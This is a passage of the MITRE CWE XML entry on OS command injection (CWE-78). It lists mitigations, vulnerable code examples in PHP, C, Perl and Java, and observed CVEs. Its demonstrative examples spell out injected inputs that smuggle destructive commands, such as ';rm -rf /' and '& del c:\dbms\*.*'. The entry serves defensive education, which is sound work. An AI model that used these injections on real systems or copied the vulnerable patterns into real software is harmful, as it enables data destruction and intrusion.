                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>If at all possible, use library calls rather than external processes to recreate the desired functionality.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-15">
               <Phase>Architecture and Design</Phase>
               <Description>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.3">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-27">
               <Phase>Architecture and Design</Phase>
               <Strategy>Parameterization</Strategy>
               <Description>
                  <xhtml:p>If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.</xhtml:p>
                  <xhtml:p>Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.</xhtml:p>
                  <xhtml:p>Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and "&gt;" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.</xhtml:p>
                  <xhtml:p>Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-32">
               <Phase>Operation</Phase>
               <Strategy>Compilation or Build Hardening</Strategy>
               <Description>Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-32">
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-39">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.</xhtml:p>
                  <xhtml:p>If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.</xhtml:p>
		  <xhtml:p>Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.</xhtml:p>
                  <xhtml:p>In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-29">
               <Phase>Operation</Phase>
               <Strategy>Firewall</Strategy>
               <Description>Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-16">
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-151">
               <Intro_Text>This example code intends to take the name of a user and list the contents of that user's home directory. It is subject to the first variant of OS command injection.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$userName = $_POST["user"];<xhtml:br/>$command = 'ls -l /home/' . $userName;<xhtml:br/>system($command);</xhtml:div>
               </Example_Code>
               <Body_Text>The $userName variable is not checked for malicious input. An attacker could set the $userName variable to an arbitrary OS command such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>;rm -rf /</xhtml:div>
               </Example_Code>
               <Body_Text>Which would result in $command being:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>ls -l /home/;rm -rf /</xhtml:div>
               </Example_Code>
               <Body_Text>Since the semi-colon is a command separator in Unix, the OS would first execute the ls command, then the rm command, deleting the entire file system.</Body_Text>
               <Body_Text>Also note that this example code is vulnerable to Path Traversal (CWE-22) and Untrusted Search Path (CWE-426) attacks.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-30">
               <Intro_Text>The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int main(int argc, char** argv) {<xhtml:div style="margin-left:1em;">char cmd[CMD_MAX] = "/usr/bin/cat ";<xhtml:br/>strcat(cmd, argv[1]);<xhtml:br/>system(cmd);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.</Body_Text>
               <Body_Text>Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This example is a web application that intends to perform a DNS lookup of a user-supplied domain name. It is subject to the first variant of OS command injection.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>use CGI qw(:standard);<xhtml:br/>$name = param('name');<xhtml:br/>$nslookup = "/path/to/nslookup";<xhtml:br/>print header;<xhtml:br/>if (open($fh, "$nslookup $name|")) {<xhtml:div style="margin-left:1em;">while (&lt;$fh&gt;) {<xhtml:div style="margin-left:1em;">print escapeHTML($_);<xhtml:br/>print "&lt;br&gt;\n";</xhtml:div>}<xhtml:br/>close($fh);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Suppose an attacker provides a domain name like this:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>cwe.mitre.org%20%3B%20/bin/ls%20-l</xhtml:div>
               </Example_Code>
               <Body_Text>The "%3B" sequence decodes to the ";" character, and the %20 decodes to a space. The open() statement would then process a string like this:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>/path/to/nslookup cwe.mitre.org ; /bin/ls -l</xhtml:div>
               </Example_Code>
               <Body_Text>As a result, the attacker executes the "/bin/ls -l" command and gets a list of all the files in the program's working directory. The input could be replaced with much more dangerous commands, such as installing a malicious program on the server.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The example below reads the name of a shell script to execute from the system properties. It is subject to the second variant of OS command injection.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String script = System.getProperty("SCRIPTNAME");<xhtml:br/>if (script != null)<xhtml:div style="margin-left:1em;">System.exec(script);</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>If an attacker has control over this property, then they could modify the property to point to a dangerous program.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the example below, a method is used to transform geographic coordinates from latitude and longitude format to UTM format. The method gets the input coordinates from a user through a HTTP request and executes a program local to the application server that performs the transformation. The method passes the latitude and longitude coordinates as a command-line option to the external program and will perform some processing to retrieve the results of the transformation and return the resulting UTM coordinates.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public String coordinateTransformLatLonToUTM(String coordinates)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String utmCoords = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>String latlonCoords = coordinates;<xhtml:br/>Runtime rt = Runtime.getRuntime();<xhtml:br/>Process exec = rt.exec("cmd.exe /C latlon2utm.exe -" + latlonCoords);<xhtml:br/>
                                 <xhtml:i>// process results of coordinate transform</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>
                                 <xhtml:i>// ...</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>catch(Exception e) {...}<xhtml:br/>return utmCoords;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the method does not verify that the contents of the coordinates input parameter includes only correctly-formatted latitude and longitude coordinates. If the input coordinates were not validated prior to the call to this method, a malicious user could execute another program local to the application server by appending '&amp;' followed by the command for another program to the end of the coordinate string. The '&amp;' instructs the Windows operating system to execute another program.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-28">
               <Intro_Text>The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>String btype = request.getParameter("backuptype");<xhtml:br/>String cmd = new String("cmd.exe /K \"<xhtml:div style="margin-left:1em;">c:\\util\\rmanDB.bat "<xhtml:br/>+btype+<xhtml:br/>"&amp;&amp;c:\\utl\\cleanup.bat\"")</xhtml:div>
                     <xhtml:br/>System.Runtime.getRuntime().exec(cmd);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "&amp; del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-10987</Reference>
               <Description>OS command injection in Wi-Fi router, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-10987</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-10221</Reference>
               <Description>Template functionality in network configuration management tool allows OS command injection, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-10221</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-9054</Reference>
               <Description>Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-9054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0067</Reference>
               <Description>Canonical example of OS command injection. CGI program does not neutralize "|" metacharacter when invoking a phonebook program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0067</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1246</Reference>
               <Description>Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1246</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0061</Reference>
               <Description>Web server allows command execution using "|" (pipe) character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0061</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0041</Reference>
               <Description>FTP client does not filter "|" from filenames returned by the server, allowing for OS command injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0041</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2575</Reference>
               <Description>Shell metacharacters in a filename in a ZIP archive</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2575</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1898</Reference>
               <Description>Shell metacharacters in a telnet:// link are not properly handled when the launching application processes the link.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1898</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4304</Reference>
               <Description>OS command injection through environment variable.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4304</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4796</Reference>
               <Description>OS command injection through https:// URLs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4796</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3572</Reference>
               <Description>Chain: incomplete denylist for OS command injection</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3572</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-1988</Reference>
               <Description>Product allows remote users to execute arbitrary commands by creating a file whose pathname contains shell metacharacters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-1988</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Program Invocation</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>OS Command Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Malicious File Execution</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV03-C</Entry_ID>
               <Entry_Name>Sanitize the environment when invoking external programs</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ENV33-C</Entry_ID>
               <Entry_Name>Do not call system()</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR02-C</Entry_ID>
               <Entry_Name>Sanitize data passed to complex subsystems</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>31</Entry_ID>
               <Entry_Name>OS Commanding</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>IDS07-J</Entry_ID>
               <Entry_Name>Do not pass untrusted, unsanitized data to the Runtime.exec() method</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-78</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="108"/>
            <Related_Attack_Pattern CAPEC_ID="15"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="6"/>
            <Related_Attack_Pattern CAPEC_ID="88"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-140"/>
            <Reference External_Reference_ID="REF-685"/>
            <Reference External_Reference_ID="REF-686"/>
            <Reference External_Reference_ID="REF-687" Section="chapter: &#34;CGI Scripts&#34;"/>
            <Reference External_Reference_ID="REF-688"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 10: Command Injection.&#34; Page 171"/>
            <Reference External_Reference_ID="REF-690"/>
            <Reference External_Reference_ID="REF-45"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Shell Metacharacters&#34;, Page 425"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-78"/>
         </References>
         <Notes>
            <Note Type="Terminology">The "OS command injection" phrase carries different meanings to different people. For some people, it only refers to cases in which the attacker injects command separators into arguments for an application-controlled program that is being invoked. For some people, it refers to any type of attack that can allow the attacker to execute OS commands of their own choosing. This usage could include untrusted search path weaknesses (CWE-426) that cause the application to find and execute an attacker-controlled program. Further complicating the issue is the case when argument injection (CWE-88) allows alternate command-line switches or options to be inserted into the command line, such as an "-exec" switch whose purpose may be to execute the subsequent argument as a command (this -exec switch exists in the UNIX "find" command, for example). In this latter case, however, CWE-88 could be regarded as the primary weakness in a chain with CWE-78.</Note>
            <Note Type="Research Gap">More investigation is needed into the distinction between the OS command injection variants, including the role with argument injection (CWE-88). Equivalent distinctions may exist in other injection-related problems such as SQL injection.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Name, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Detection_Factors, Name, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
